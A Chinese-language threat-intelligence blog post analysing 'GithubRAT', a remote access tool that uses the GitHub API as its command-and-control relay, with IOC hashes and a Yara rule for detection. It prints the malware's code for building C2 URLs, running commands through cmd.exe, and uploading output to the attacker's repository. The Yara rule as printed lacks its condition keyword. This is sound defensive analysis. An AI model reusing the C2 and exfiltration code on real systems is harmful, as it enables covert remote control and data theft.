技術分析
RSS

Github 不再只是版控平台,還是 APT 後門中繼站

8.13.2020Global Support & Service
Share:

前言

TeamT5 近期於台灣某政府機關發現駭客入侵事件,駭客於受害端點上植入遠端控制程式(Remote Access Tool, RAT)。特別之處在於,駭客透過 GitHub 雲端服務做為中繼站,藉此規避網路閘道端資安設備的偵測與攔阻。下圖為該受害主機向中繼站報到時,所回傳的端點資訊,可清楚看出該端點的域名為台灣政府機關。
202008-1 圖一、台灣某政府單位受駭

技術分析

TeamT5 分析此 GithubRAT 後門程式,發現原為 Python Script,透過 PyInstaller 封裝為 Windows 執行檔。
GithubRAT 執行後,會透過 api.github.com 連線至駭客的 Github 專案(Repository),並將駭客下達指令的結果回傳至 Github 專案上,其檔名為 Base64 編碼後的受害電腦名稱,網路封包如下圖所示。
202008-2 圖二、GithubRAT 使用 api.github.com 作為惡意中繼站

TeamT5 分析 GithubRAT 惡意程式運作原理,將其執行步驟拆解如下:
  1. 連線至駭客的 Github 專案,如下所示。
    def __init__(self):
        self.back_git_heart = 'https://api.github.com/repos/{}/{}/contents/{}/{}/{}'.format(B_USER, B_PROJECT, B_PATH, B_ACTION_HEART, self.back_sid)
        self.back_git_cmd = 'https://api.github.com/repos/{}/{}/contents/{}/{}/{}'.format(B_USER, B_PROJECT, B_PATH, B_ACTION_CMD, self.back_sid)
        self.back_git_answer = 'https://api.github.com/repos/{}/{}/contents/{}/{}/{}'.format(B_USER, B_PROJECT, B_PATH, B_ACTION_ANSWER, self.back_sid)
        self.back_git_token = 'https://api.github.com/repos/{}/{}/contents/{}/{}'.format(B_USER, B_PROJECT, B_PATH, 'token')
  2. 將電腦名稱透過 Base64 編碼並註冊回傳至 Github 專案中。
  3. 從 Github 專案下載駭客的控制指令。
  4. 利用命令提示字元 cmd.exe 執行駭客指令,如下所示。
    def back_cmd(self, command):
        _t_data = 'timeout'
        p = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)
        _t = 10
        while _t > 0:
            time.sleep(1)
            if p.poll() == 0:
                _t_data = p.stdout.read() + p.stderr.read()
                break
            _t = _t - 1
        return _t_data
  5. 將指令執行之結果回傳至 Github 專案中,如下所示。
    def _put_git_answer(self, data):
    _result_status = False
    _status, _sha = self._get_git_hash(self.back_git_answer)
    d = {'message': 'my commit message',
       'content': base64.b64encode(data),
       'sha': _sha
       }
    headers = {'Authorization': 'token ' + B_TOKEN,'user-agent': B_USER_AGENT}
    try:
        r = requests.put(url=self.back_git_answer, data=json.dumps(d), headers=headers)
        if not _status and r.status_code == 201:
            _result_status = True
        if _sha and r.status_code == 200:
            _result_status = True
    except Exception as e:
        pass
    return _result_status
  6. 不斷重複步驟 3 至步驟 5。

另外,我們也發現駭客放置許多惡意程式於該 Github 專案中,其中包含密碼竊取(Password Dump)、漏洞利用(Exploit)及後門(Backdoor)等惡意程式,其詳細清單如下表所示。
Hash說明
a5f12ee032af8e8dd5a373f611f64726Backdoor Loader
944465a0edd09d8eb569630a68ee111cCobalt Strike Payload
e5ed0de0100f670324202bbf5982a80aCobalt Strike Payload
4f67e80118dcc4a42ebcb2af2cad65ceHacktool,CVE-2014-4113 Exploit
0468a816c167ca5ad301dc408eb19fb5HackTool,Chrome Password Dump
b33c7c022e1a25a981faabfc0fe53f6dHackTool,AD Password Brute-Force Tool
5178eb048ecaed83b69aa277a7c6d784HackTool,NETBIOS NameServer Scanner
2f9b582378c559ca66b48abd51f436a0HackTool,TCP Port Banner Scanner
aad8b062891c0715a1842270c0a871ebHackTool,MS-17-010 Eternalblue Scanner
41e32076f2e75181ce9f1cac6099a918HackTool,MS-17-010 Eternalblue Scanner
1a41f9550964ada62f87f6a0b79e37baHackTool,NETBIOS NameServer Scanner
表一、駭客 GitHub 專案中的惡意程式列表

影響與建議

由於許多單位都會使用 Github 服務作為版本控制之用,因此對 Github 的存取都會是許可的狀態,這也變成駭客反過來利用的機制。駭客利用大眾對於雲端服務的需求,轉而透過該雲端服務作為中繼站,遠端控制受害電腦。同時,該 GithubRAT 係透過 PyInstaller 進行封裝,駭客使用其他封裝工具即可快速改變檔案雜湊值,因此 TeamT5 建議可透過網路連線紀錄來威脅狩獵(Threat Hunting),找尋環境內是否有密集且定期的 api.github.com 連線紀錄,藉此找出環境中異常的網路存取連線。
最後,若單位遭遇進階持續性威脅(Advanced Persistent Threat, APT)時,建議可使用 TeamT5 的 ThreatSonar 惡意威脅鑑識分析平臺,可有效偵測此類進階攻擊手法,並快速完成事件關聯與回應。TeamT5 建議可將下方威脅指標(Indicator of Compromise, IOC)匯入各式資安設備中,強化威脅偵測與識別。
  • 表一中所有的惡意程式雜湊值
  • Yara Rule
rule RAT_Github
{
    meta:
        description= "detecting GithubRAT memory"
        author = "TeamT5"
        date = "2020-08-05"
    
    strings:
        $str1 = "pyi-windows-manifest-filename"
        $str2 = "https://api.github.com/repos/{}/{}/contents/{}/{}"
        $str3 = "back_cmd"
        $str4 = "put_git_answer"       
    
        all of them
}
202008-3 圖三、ThreatSonar 供資安人員快速匯入 Yara Rule 並自訂威脅等級
*圖片來源:Unsplash
8.13.2020Global Support & Service
Share:

Related Post

技術分析
12.22.2020

macOS 用戶當心!北韓駭客 Lazarus 將目標瞄準虛擬貨幣交易用戶

APT, Lazarus, MovieRAT, 虛擬貨幣, macOS, 威脅情資, 資安情資, cyber threat intelligence, threat hunting